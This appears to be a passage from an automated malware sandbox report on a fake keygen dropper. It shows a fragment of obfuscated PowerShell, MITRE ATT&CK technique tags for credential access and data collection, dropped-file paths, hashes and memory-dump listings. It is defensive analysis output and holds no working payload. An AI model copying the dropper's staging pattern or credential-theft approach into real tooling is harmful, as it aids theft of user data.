$ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4644

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\E5D.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\E5D.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\E5D.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\E5D.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\E5D.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\E5D.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\E5D.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\E5D.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\E5D.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs

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C:\Users\Public\ijy.exe

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C:\Users\Public\ijy.exe

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C:\Users\Public\ijy.exe

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C:\Users\Public\irk.exe

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C:\Users\Public\irk.exe

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C:\Users\Public\irk.exe

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C:\Users\Public\irk.exe

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C:\Users\Public\rnq.exe

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C:\Users\Public\rnq.exe

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C:\Users\Public\rnq.exe

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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memory/480-192-0x0000000000000000-mapping.dmp

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memory/664-0-0x0000000000000000-mapping.dmp

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memory/828-2-0x0000000000000000-mapping.dmp

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memory/828-3-0x0000000000000000-mapping.dmp

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memory/1144-18-0x0000000000000000-mapping.dmp

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memory/1208-7-0x0000000000000000-mapping.dmp

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memory/1260-73-0x0000000008AF0000-0x0000000008AF1000-memory.dmp

Filesize
4KB

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memory/1260-22-0x0000000000000000-mapping.dmp

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memory/1260-30-0x00000000708E0000-0x0000000070FCE000-memory.dmp

Filesize
6.9MB

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memory/1348-9-0x0000000000000000-mapping.dmp

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memory/1488-10-0x0000000000000000-mapping.dmp

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memory/2064-195-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

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memory/2064-197-0x000000000043FCC3-mapping.dmp

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memory/2364-49-0x0000000007E40000-0x0000000007E41000-memory.dmp

Filesize
4KB

Download
memory/2364-41-0x0000000007F10000-0x0000000007F11000-memory.dmp

Filesize
4KB

Download
memory/2364-38-0x0000000007BF0000-0x0000000007BF1000-memory.dmp

Filesize
4KB

Download
memory/2364-53-0x0000000008710000-0x0000000008711000-memory.dmp

Filesize
4KB

Download
memory/2364-36-0x0000000007DD0000-0x0000000007DD1000-memory.dmp

Filesize
4KB

Download
memory/2364-33-0x0000000007410000-0x0000000007411000-memory.dmp

Filesize
4KB

Download
memory/2364-23-0x0000000006E30000-0x0000000006E31000-memory.dmp

Filesize
4KB

Download
memory/2364-20-0x00000000708E0000-0x0000000070FCE000-memory.dmp

Filesize
6.9MB

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memory/2364-13-0x0000000000000000-mapping.dmp

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memory/2368-57-0x0000000008220000-0x0000000008221000-memory.dmp

Filesize
4KB

Download
memory/2368-21-0x00000000708E0000-0x0000000070FCE000-memory.dmp

Filesize
6.9MB

Download
memory/2368-26-0x0000000007290000-0x0000000007291000-memory.dmp

Filesize
4KB

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memory/2368-12-0x0000000000000000-mapping.dmp

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memory/2396-95-0x0000000007ED0000-0x0000000007ED1000-memory.dmp

Filesize
4KB

Download
memory/2396-97-0x000000000A0D0000-0x000000000A0D1000-memory.dmp

Filesize
4KB

Download
memory/2396-94-0x0000000009240000-0x0000000009241000-memory.dmp

Filesize
4KB

Download
memory/2396-25-0x00000000708E0000-0x0000000070FCE000-memory.dmp

Filesize
6.9MB

Download
memory/2396-70-0x0000000009550000-0x0000000009551000-memory.dmp

Filesize
4KB

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memory/2396-19-0x0000000000000000-mapping.dmp

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memory/2840-15-0x0000000000000000-mapping.dmp

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memory/3608-17-0x0000000000000000-mapping.dmp

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memory/4180-116-0x0000000000000000-mapping.dmp

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memory/4212-117-0x0000000000000000-mapping.dmp

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memory/4300-184-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4300-180-0x000000000043FCC3-mapping.dmp

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memory/4312-131-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4312-126-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4312-128-0x000000000043FCC3-mapping.dmp

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memory/4328-135-0x000000000041A684-mapping.dmp

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memory/4328-132-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/4328-138-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4368-134-0x0000000000417A8B-mapping.dmp

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memory/4368-139-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4368-133-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4400-62-0x0000000000000000-mapping.dmp

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memory/4472-64-0x00000000708E0000-0x0000000070FCE000-memory.dmp

Filesize
6.9MB

Download
memory/4472-63-0x0000000000000000-mapping.dmp

Download
memory/4552-66-0x0000000000000000-mapping.dmp

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memory/4644-82-0x00000000708E0000-0x0000000070FCE000-memory.dmp

Filesize
6.9MB

Download
memory/4644-69-0x0000000000000000-mapping.dmp

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memory/4856-154-0x0000000000000000-mapping.dmp

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memory/4908-160-0x0000000000000000-mapping.dmp

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memory/4924-162-0x0000000000000000-mapping.dmp

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memory/4948-187-0x0000000000417A8B-mapping.dmp

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memory/4948-189-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4968-193-0x0000000005EC0000-0x0000000005ECD000-memory.dmp

Filesize
52KB

Download
memory/4968-104-0x00000000708E0000-0x0000000070FCE000-memory.dmp

Filesize
6.9MB

Download
memory/4968-105-0x00000000002B0000-0x00000000002B1000-memory.dmp

Filesize
4KB

Download
memory/4968-181-0x0000000004F90000-0x0000000004F91000-memory.dmp

Filesize
4KB

Download
memory/4968-179-0x0000000004BB0000-0x0000000004C60000-memory.dmp

Filesize
704KB

Download
memory/4968-101-0x0000000000000000-mapping.dmp

Download
memory/5020-186-0x000000000041A684-mapping.dmp

Download
memory/5024-107-0x0000000000000000-mapping.dmp

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